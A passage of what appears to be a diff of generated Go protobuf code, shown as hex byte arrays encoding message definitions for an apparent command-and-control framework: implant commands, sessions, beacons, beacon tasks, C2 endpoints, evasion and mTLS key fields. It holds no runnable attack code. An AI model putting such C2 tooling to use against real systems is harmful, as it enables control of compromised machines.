0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x10, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, - 0x65, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, - 0x18, 0x11, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, - 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x12, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x13, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x53, 0x74, 0x61, 0x67, 0x65, 0x22, 0x6c, - 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, - 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, + 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, + 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x4c, + 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x73, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xdf, + 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x73, 0x65, + 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x1c, 0x0a, + 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, + 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a, + 0x05, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x42, 0x6c, + 0x6f, 0x63, 0x6b, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0xb5, 0x01, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x12, + 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xab, 0x01, 0x0a, 0x07, 0x48, 0x69, 0x73, + 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, + 0x65, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, + 0x12, 0x34, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x18, 0x04, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x08, 0x43, 0x6f, + 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, + 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, + 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, + 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, + 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, + 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, + 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, + 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, + 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, + 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, + 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, + 0x49, 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, + 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, + 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, + 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, + 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, + 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, + 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, + 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, + 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, + 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, + 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, + 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, + 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, + 0x6e, 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, + 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, + 0x1c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, + 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, + 0x74, 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, + 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0x98, 0x02, 0x0a, 0x0a, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, + 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, + 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, + 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, + 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, + 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, + 0x69, 0x6e, 0x65, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, + 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x2a, + 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, + 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x63, 0x0a, 0x09, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 